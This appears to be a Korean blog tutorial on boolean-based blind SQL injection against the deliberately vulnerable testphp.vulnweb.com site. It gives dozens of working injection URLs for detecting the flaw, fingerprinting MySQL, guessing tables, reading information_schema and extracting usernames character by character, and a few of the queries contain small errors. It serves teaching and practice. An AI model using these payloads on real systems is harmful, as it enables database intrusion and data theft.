블라인드 SQL Injection 은 get 방식 뿐만 아니라 post 방식에서도 확인 할 수 있다. 중요한것은 웹 뷰 페이지에서 보여지는 것 뿐 아니라, HTTP response body에서 확인되는 메시지로도 참과 응답이 분리될 수 있으므로 다방면에서 확인 해야 한다.
# 테스트 사이트 - http://testphp.vulnweb.com/listproducts.php?cat=2
고전 SQL 인젝션 취약점을 발견하기 위해 * 이나 ' 와 같은 특수문자를 파라미터 값에 입력하고 에러페이지가 출력되는지 확인한다. 에러가 출력되지 않을 때 blind 인젝션 공격을 수행할 수 있다. (그러나 실제로 위 url 에 ' 을 입력해보면 알겠지만 고전 sql 공격에 취약하긴 하다. 에러정보가 노출됨) 그러나 에러가 없다고 가정하고 바인드 인젝션 공격을 준비해보도록 하자.
문제에 직면 할 것이다. 공격 사이트가 어떠한 에러도 반환하지 않는데 이 사이트가 취약한지 아닌지 어떻게 알 수 있는가. 해답은 아주 명쾌하다. 부울린 대수학을 이용하는 것이다.
부울린의 원리은 다음과 같다
- true and true = 참
- true and false = 거짓
즉,
- 1=1 는 참
- 1=2 는 거짓이다.
- http://testphp.vulnweb.com/listproducts.php?cat=2 and 1=1 (참)
- http://testphp.vulnweb.com/listproducts.php?cat=2 and 1=2 (거짓)
URL이 bind 인젝션에 취약한지 아닌지 확인하는 방법은 아래와 같이 참과 거짓으로 나누어서 입력해보고 올바르게 응답되는지 아니면 무시되는지 확인하는 것이다.
http://testphp.vulnweb.com/listproducts.php?cat=2 and 1=1 일 때,
http://testphp.vulnweb.com/listproducts.php?cat=2 and 1=2 일 때,
(참고로 TIME BASED 인젝션은 발생하지 않는다. )
위를 보아 알 수 있는 중요한 사실은, 위 URL 이 DBMS에 의해 수행된다는 것이다. (보통 MySQL) 즉, cat=1 인 값을 DB 테이블에서 검색한다는 의미이다.
# Blind 인젝션 공격으로 데이터 수집하기
1) 버전 찾기
시스템의 정확한 버전을 알아내는 것은 쉽지 않다. 그러나 완벽하게 알필요는 없고 그저 MySQL 버전 4, 5 정도면 충분하다.
우선 버전으로부터 substring을 추출한다. 이 경우에는 substr(@@version,1,1) 에 의해 수행된다. @@version 은 전체 5.1.6.9...... 같은거를 반환하지만 1,1 은 첫번째 문자를 추출한다. 그러면 우리는 웹 사이트에서 사용하고 있는 버전을 찾기 위해 그것을 4나 5와 동일시할 수있다(equate)
위에 이미지에서 확인했듯이 우리는 MySQL 버전을 알고 있다. 그러나 버전에 관한 어느 단서가 존재하지 않더라도 다음과 같이 output을 살펴봄으로써 버전을 찾을 수 있을 것이다.
추가적인 mysql substring 구문은 다음 url 에서 확인 할 수 있다. (여기에 잘 설명되어 있다. - http://www.mysqltutorial.org/mysql-substring.aspx)
이러한 substring 명령어로 다음과 같이 활용 할 수 있다. 즉, 버전이 4로 시작하는지, 5로 시작하는지 확인하는 것이다. '참' 이라면 정상페이지가 출력한다. http://testphp.vulnweb.com/listproducts.php?cat=2 and substring(@@version,1,1)=4
공백페이지가 리턴되지 않았으므로 MySQL 버전 5라는 것을 확인 할 수 있다.
# 테이블, 컬럼, 레코드 찾기
이제는 테이블 명을 찾을 차례이다. 한 가지 원리를 이용하여 하나씩 하나씩 테이블을 찾아가면 된다. 대부분의 데이터베이스는 user, admin, login, employees 등 과 같은 이름의 테이블을 가지고 있다. 지금부터 실패와 성공을 통해 입증해 볼 것이다.
여기는 몇 가지 방법이 있다. 우리는 문자순서(character by character) 대로 진행 할수 있다. 아스키 코드들를 사용하는 세번째 방법이 있다.
문제 : 웹사이트가 아웃풋을 노출하지 않는 상황에서, 어떻게 테이블 명을 얻을 수 있는가
해결 : 지금까지 한 방식과 동일하다. 웹사이트가 table name =x 를 요청하면, 여기서 x는 테이블 네임이라고 추측할 수 있다. 여기서 반환되는 상태가 true 일 때까지 계속 반복할 수 있다. 즉, 존재 할거라고 예상되는 테이블명을 반복적으로 대입하는 것이다.
문제 : 이건 단지 구상이다. 어떻게 action을 넣는가. 그러니까 user와 같은 가능성 높은 테이블 명의 존재여부를 확인 한다고 할때, 어떻게 데이터베이스가 참(true) 값을 반환하도록 질의 해야 하는가? 이건 1=1 과 처럼 간단하지는 않을 것이다.
해결 : select 쿼리를 사용할 것이다. select 1 from X 가 기본적인 쿼리이다. 여기서는 상태(Condition)을 생산하기 위해 이 출력을 사용할 것이다. (select 1 from X) =1 X 테이블이 존재하면, 아웃풋은 1이 될 것이고, 1=1 이기 때문에, 상태는 참이 될 것이다. 만약에 X가 존재하지 않으면, 상태는 false가 되어 화면이 올바르게 출력되지 않을 것이다.
문제 : 만약 테이블명을 추측하지 못한다면 어떻게 되는가
해결 : 이럴때 두 가지 대안을 사용 할 수 있다. 첫번째는 버전을 찾을 때처럼 substr()을 사용하는 것이다. 문자 순서대로 하나씩 확인하면서 테이블을 명을 찾 수 있다. 우리는 테이블의 첫번재 문자가 a 인지 확인하고 이후, b,c,d 등등 계속 시도하는 것이다. 첫 번째 문자를 찾고, 이후 두번째 문자도 역시 하나씩 시도해보며 찾는다. 시간이 다소 걸리지만 테이블 명을 찾는 가장 확실한 방법 중 하나이다.
두번째 대안은 아스키 값을 이용하는 것이다. 속도가 위 방법보다 비교적 빠르다.
원리는 다음과 같다. 숫자와는 다르게 문자는 직접적으로 비교연산자에 의해서 비교되지 않는다. 6은 5보다 크다고 할 수 있지만, b는 a보다 크다고 할 수 없다. 문자는 비교 할 수 없다. 그러나 아스키 형태에서는 비교가 가능하다. 각각의 알파벳은 아스키에서 숫자로 대응된다. 따라서 테이블명의 첫번째 문자가 알파벳 P보다 큰지 작은지 요청 할 수 있다. 더 크다고 하면, P 이하의 알파벳은 확인하지 않아도 되는 것이다. 이 후 계속 >, <, = 와 같은 비교 연산자로 테이블 명을 찾을 수 있다.
<출처 - http://shaeod.tistory.com/228>
limit 문 : select 쿼리는 그저 첫번째만이 아니라, 주어진 테이블으로부터의 모든 결과를 반환한다는 것을 알아야 한다. 예를 들어, 어떤 테이블에 500개의 레코드가 있다. 그리고 해당 테이블에 첫번째 테이블의 문자가 'a' 인 레코드를 요구하면, 이는 한개만 반환하는게 아닐것이다. 첫 문자가 'a'인 모든 레코드를 반환 할 것이다. 이는 우리가 원하는 결과가 아니다. 이를 막기 위해, 우리는 limit 문을 활용해야 한다.
여기 간단한 요약글이 있다. 읽어보기 바란다.
- Complete section on Limit clause here - http://www.mysqltutorial.org/mysql-limit.aspx
SELECT * FROM tbi LIMIT offset, count SELECT * FROM tbi LIMIT 0,3 (출력 결과에서 첫번째 행부터 세번째 행결과만을 출력하기)
- 'offset' 은 리턴되는 첫번째 줄의 오프셋을 명시한다. 첫 번째 열의 오프셋은 1이 아니라 0이다.
- 'count'는 리턴되는 줄의 최대 값을 명시한다.
1) 테이블명
테이블명을 추측해보자.
http://testphp.vulnweb.com/listproducts.php?cat=1 and (SELECT 1 from admin)=1
// admin 이라는 테이블이 존재하면, 페이지가 출력될 것인다. 실행 결과, admin이 존재하지 않는 것을 확인한 것 뿐 아니라, acuart 라는 db 명까지 알수 있었다.
여기서 SELECT 1 from admin 와 같이 select 1 을 사용하면 해당 테이블의 행의 수가 n개이면 n개 행이 반환된다. 여기서 1은 참을 의미한다.
실제 블라인드 SQLi 에서는 에러메시지가 보이지 않는다. 이전 처럼 정상적으로 결과가 출력되지 않고 공백 화면이 출력될 것이다.
* full name 으로 추측하기
이번에는 users 라는 테이블명이 있는지 확인해보자
http://testphp.vulnweb.com/listproducts.php?cat=1 and (SELECT 1 from users)=1
페이지가 정상적으로 로드되는 것으로 보아 users 테이블이 존재하는 것을 확인했다.
** 문자 하나씩 추측하기
다른 사이트에 이러한 공격을 시도하면, users 가 확실한지 아닌지 판단할 수 없을 것이다.
그래서 계속 읽고 하나씩 한 문자씩 추측하는 방법으로 시도해보는 것을 추천한다(컬럼명 찾을때). 그리고 아스키 코드를 사용하는 것이다.(데이터 찾을때)
PS. 여기서는 우리는 한문자씩 하는게 아니라 한번에 풀 테이블 네임(admin, users 등)으로 질의하기 때문에 여기서는 LIMIT 문이 요구되지 않는다.
>> 확인된 table 은 artists, carts, categ, featured, guestbook, pictures, products, users이다.
2) 컬럼 명
1. 전체 이름 추측하기
지금, 컬럼명을 얻을 수 있는 두 가지 방법이 있다. 첫 번째는 테이블 명 할 때처럼, 전체 컬럼명을 추측하는 것이다.
http://testphp.vulnweb.com/listproducts.php?cat=2 and (SELECT substring(concat(1,username),1,1) from users limit 0,1)=1
아래 처럼 1을 2로 바꿔서 입력해봐도 결과는 동일하다.
http://testphp.vulnweb.com/listproducts.php?cat=2 and (SELECT substring(concat(2,username),1,1) from users limit 0,1)=2
여기서 concat 함수가 나온다. select concat (name, agency) from groups; 라고 하면
name가 agency 값이 붙여져서 값이 출력된다. 즉, 위와 같이 concat(1,uname),1,1) 이라고 하면 결국 uname 이 존재하면 에러가 출력하지 않고 결과가 출력될텐데 그 결과 앞에 1이 붙어서 출력하는 것이다. 그러나 1,1 을 통해 1뒤에 문자는 다 짤리고 1만 출력하는 것이다.
아래 이미지를 보면 조금 이해가 편할듯하다.
그러니까 하나씩 껍질을 벗겨보면 다음과 같다
- and (SELECT substring(concat(1,uname),1,1) from users limit 0,1)=1
- and (SELECT substring(1test,1,1) from users limit 0,1)=1
- and (SELECT 1 from users limit 0,1)=1
- and (1)=1
http://testphp.vulnweb.com/listproducts.php?cat=2 and (SELECT substring(concat(1,uname),1,1) from users limit 0,1)=1
//user 라는 테이블이 있고 uname 컬럼이 존재하는지 아닌지 확인하기 위함이다. uname이 없으면 오류가 발생하고 존재하면 참이 되어 정상페이지가 출력된다.
uname 일 때는 페이지가 정상적으로 출력된다. uname 컬럼이 존재하는 것을 확인 할 수 있다. 연습 삼아, uname 외에 pass, cc, address, email, name, phone, cart1 등 을 입력해 볼 수도 있다.
2. = 를 사용하여 문자 하나씩 추측하기
두 번째 방법은 문자 하나 하나씩 입력해 보는 것이다. 이 역시 2 가지 방법이 있다. 하나는 직접적으로 문자를 하나씩 추측하는 것이고, 다른 하나는 문자의 범위를 확인하면서 문자열을 확인하는 것이다. 두 가지 방법을 모두 이용 할 것이다.
이 방법은 information_schema 를 이용하기 때문에 MySQL 4에서는 안되고 5에서만 작동할 것이다. (information_schema 는 서버에 속한 데이터베이스의 테이블명, 칼럼명, 등 SQL 인젝션하는데 필요한 정보들을 담고 있다. MySQL 5에서 생성된다.)
tables
아래에서는 117(u)을 사용했다. 아마 모든 가능한 아스키 코드를 시도해야 할 것이다. (65 ~122 for A to z)
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))= 117
우선 concat의 인자로 column_name 을 넣은것은 information_schema 데이터베이스에 COLUMNS 라는 테이블이 있고, COLUMNS 테이블 안에 COLUMN_NAME 이라는 컬럼이 있기때문에 이를 인용한 것이다. information_schema db 정보가 일종의 '알려진 구조' 이기 때문에 이를 이용한 것이라고 할 수 있다.
이것 역시 껍질을 벗기며 분석해보자.
- and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))= 117
- and ascii(substring((select column_name from information_schema.columns where table_name=users+limit 0,1),1,1))= 117
- and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))= 117
MySQL이 저절로 문자에서 아스키 값으로 변환되는지 확인하였다. 그리고 그렇게 되는 것을 확인하였다. 하나는 쿼리를 걷어내고, 마침내 되었다. (so one may skim the query a bit and finally it will be like. 그래서 기본적으로 내가 전에 말한것에 반해서, b 는 a 보다 크다. 아래는 117 대신에 u를 넣었다. 결과적으로 같은 코드이다.
http://testphp.vulnweb.com/listproducts.php?cat=2%20and%20substring((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273+limit%200,1),1,1)='u'
117은 아스키코드 u 이다. 우리는 컬럼명이 uname 인것을 알고 있다. 그래서 페이지는 정상적으로 출력될 것이다. 또한 85외에 다른 값을 시도하고 어떤 결과가 발생하는지 볼 수도 있다. 또한, 7573657273 은 users 의 헥사코드이다. 0x는 헥사 값을 가르킨다.
3. = 와 > 또는 < 를 사용한 문자 추측
이는 이전에 한 것과 거의 같다.
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 100
페이지가 이상없이 출력되는것으로 보아 이것은 100보다 크다 http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 120 페이지가 출력되지 않는것으로 보아 120보다 작다.
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 110
110 보다 크다 http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 115
115보다 크다. 지금 5가지 가능성이 남았다. 116, 117, 118, 119 120 ( 116보다는 크고 120보다는 작다. 5개를 각각 시도 할 수 있다. 위에 쿼리를 보면 ascii 부분에 굵게 볼드 처리를 했다. 이 텍스트를 지우고 싱글쿼터로 감싸져 있는 캐릭터로 대체 할 수도 있다. ('a','b' 등) 마지막으로 다음 코드를 통해 성공 할 수 있을 것이다.
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))= 117
그러나, 우리는 단지 컬럼명의 첫번째 문자만 알고 있는 것이다. 두번 째 문자를 찾기 위해 빨간 색 부분을 2로 바꿔서 수행한다.
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),2,1))= 117
uname의 두번째 문자는 n(ascii 110) 이기 때문에 화면이 출력되지 않는다. http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),2,1))= 110
><= 방법을 사용할 수 있다. 나머지 자릿수도 이와 같이 진행 할 수 있다. 데이터 추출 지금까지는 굉장히 빠르게 진행했었지만 여기만큼은 굉장히 천천히 진행해볼것 이다. 당신은 데이터를 추측해야 한다. 각각이건 전체 이름이건 추측해야한다.
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>64 http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>100 http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>120 120에서는 페이지가 보여지지 않는다 (다 안보이는데?) http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>120 http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>115 http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))=116
그래서 첫번째 문자는 t이다. 다음 문자를 시도해보자. 이번에는 아스키를 사용하지 않는다. http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1)>'a' http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1)>'f'
이것은 b와 f 사이에 있다 http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1) = 'b'
계속 해보자 http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1) = 'e' 두번재 문자는 e 이다.
전체 uname 을 찾기 위해 이 절차를 계속 반복해야 한다. 그리고 특정 문자가 마지막 문자라는 것은 다음 명령어를 통해 확인 할 수 있다. http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>0 어떤 문자도 남아있지 않다면 >0 은 항상 참을 반환한다. 이 모든 것들이 블라인으 인젝션이다.
다음 포스팅에는 이러한 작업들을 수행하는 도구들에 대해 소개하려고 한다. 솔직히 말해서 아무도 당신이 블라인드 인젝션을 위해 스크립트나 툴을 쓴다고해서 서 초보라고 부르지 않을 것이다. 이것은 굉장히 시간을 많이 소비하는 작업이기 때문이다.
# 참고
- http://www.kalitutorials.net/2015/02/blind-sql-injection.html
- TIME BASED SQL INJECTION - http://www.sqlinjection.net/time-based/
- http://www.hackerschool.org/HS_Boards/data/Lib_share/The_basic_of_Blind_SQL_Injection_PRIDE.pdf
substring 명령어 구문 substring() 과 substr() 은 동일한 명령어다. 이는 주어진 문자열의 특정 포지션의 문자를 반환한다.
EX) SELECT SUBSTRING('MySQL SUBSTRING', 1,5); >> MySQL |